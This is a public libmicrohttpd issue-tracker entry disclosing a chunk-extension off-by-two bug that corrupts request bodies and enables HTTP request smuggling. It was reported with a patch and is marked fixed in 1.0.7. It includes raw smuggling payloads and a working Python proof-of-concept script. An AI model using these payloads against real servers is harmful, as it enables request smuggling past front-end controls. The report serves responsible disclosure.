View Issue Details
| ID | Project | Category | View Status | Date Submitted | Last Update |
|---|---|---|---|---|---|
| 0011680 | libmicrohttpd | other | public | 2026-07-27 10:52 | 2026-07-28 23:42 |
| Reporter | aramosf | Assigned To | Christian Grothoff | ||
| Priority | high | Severity | major | Reproducibility | always |
| Status | closed | Resolution | fixed | ||
| Product Version | Git master | ||||
| Target Version | 1.0.7 | Fixed in Version | 1.0.7 | ||
| Summary | 0011680: connection.c: chunk-extension line length off by two — request smuggling | ||||
| Description | Severity: High — HTTP request smuggling (CWE-444); also corrupts the payload delivered to the application for legitimate clients Class: CWE-444 (Inconsistent Interpretation of HTTP Messages) Status: reproduced against a plain echo handler, no application cooperation. Patch supplied and verified (corruption and double-reply both stop). SUMMARY ------- The chunk-extension branch computes the chunk-size line length as the index OF the CR/LF terminator, while the sibling no-extension branch 20 lines below correctly consumes the terminator. The terminator is therefore left in the buffer and becomes the first bytes of the chunk payload, desynchronising chunk framing. This needs no application cooperation: any application that accepts a chunked POST body is affected. It also breaks *legitimate* clients that use chunk extensions, which are valid HTTP/1.1 — so it is a correctness bug as well as a security one. ROOT CAUSE ---------- connection.c:4648-4660, the chunk-extension branch: if ('\r' == buffer_head[i]) { if ('\n' == buffer_head[i + 1]) chunk_size_line_len = i; /* index OF the CR */ } else { if (bare_lf_as_crlf) chunk_size_line_len = i; /* index OF the LF */ } while the no-extension branch (connection.c:4676-4681) consumes it: chunk_size_line_len = num_dig + 2; /* CRLF */ … else … chunk_size_line_len = num_dig + 1; /* bare LF */ PROVENANCE ---------- The ChangeLog suggests the current form dates from commit 1e43edd5 ("reject bare CR in chunk extension"), released in 1.0.3 — before that it was off by one. I have only tested 1.0.6, so I have not verified the introduction point; it is included only as a lead. After the patch: the extension case delivers "ABCDE" and returns 200 (it previously returned 400), and the smuggling attempt produces a single response with the injected request rejected. Version note: tested against 1.0.6 only. | ||||
| Steps To Reproduce | REPRODUCERS ----------- (a) Payload corruption. Against a handler that logs exactly what upload_data it is handed: Control, chunk WITHOUT an extension: 5\r\nABCDE\r\n0\r\n\r\n -> application receives "ABCDE" (correct) Same chunk WITH an extension: 5;x=y\r\nABCDE\r\n0\r\n\r\n -> application receives "\r\nABC" (WRONG: the CRLF is injected into the payload, and two bytes are stolen from the end) Note the extension case also returns 400 to the client (the final chunk is mis-framed), so a legitimate extension-using client fails outright. (b) Request smuggling. A last-chunk with an extension, followed by a second request: POST /echo HTTP/1.1 Transfer-Encoding: chunked 0;x\r\nGET /SMUGGLED HTTP/1.1\r\nHost: v\r\n\r\n -> TWO 200 OK responses to one request. The trailer section is swallowed and the attacker's bytes are executed as a second pipelined request. TEST #!/usr/bin/env python3 """libmicrohttpd 1.0.6 - #2 chunk-extension off-by-two. (a) payload corruption, (b) request smuggling. No app cooperation. usage: poc2_smuggle.py <host> <port>""" import socket, sys h, p = sys.argv[1], int(sys.argv[2]) def talk(b, t=2.5): s = socket.create_connection((h, p), 3); s.settimeout(t); s.sendall(b) d = b"" try: while True: c = s.recv(65536) if not c: break d += c except socket.timeout: pass s.close(); return d hdr = b"POST /echo HTTP/1.1\r\nHost: v\r\nTransfer-Encoding: chunked\r\n\r\n" print("(a) control, no extension -> app should receive 'ABCDE'") talk(hdr + b"5\r\nABCDE\r\n0\r\n\r\n") print("(a) with extension -> app receives '\\r\\nABC' instead") talk(hdr + b"5;x=y\r\nABCDE\r\n0\r\n\r\n") print(" (check the server's own log of what it was handed)") r = talk(hdr + b"0;x\r\nGET /SMUGGLED HTTP/1.1\r\nHost: v\r\n\r\n") n = r.count(b"HTTP/1.1 ") print("(b) smuggling: %d response(s) to 1 request %s" % (n, "<-- DESYNC" if n >= 2 else "")) | ||||
| Tags | No tags attached. | ||||
| Date Modified | Username | Field | Change |
|---|---|---|---|
| 2026-07-27 10:52 | aramosf | New Issue | |
| 2026-07-27 18:21 | Christian Grothoff | Assigned To | => Christian Grothoff |
| 2026-07-27 18:21 | Christian Grothoff | Status | new => resolved |
| 2026-07-27 18:21 | Christian Grothoff | Resolution | open => fixed |
| 2026-07-27 18:21 | Christian Grothoff | Fixed in Version | => 1.0.7 |
| 2026-07-27 18:22 | Christian Grothoff | Product Version | => Git master |
| 2026-07-27 18:22 | Christian Grothoff | Target Version | => 1.0.7 |
| 2026-07-28 23:42 | Christian Grothoff | View Status | private => public |
| 2026-07-28 23:42 | Christian Grothoff | Status | resolved => closed |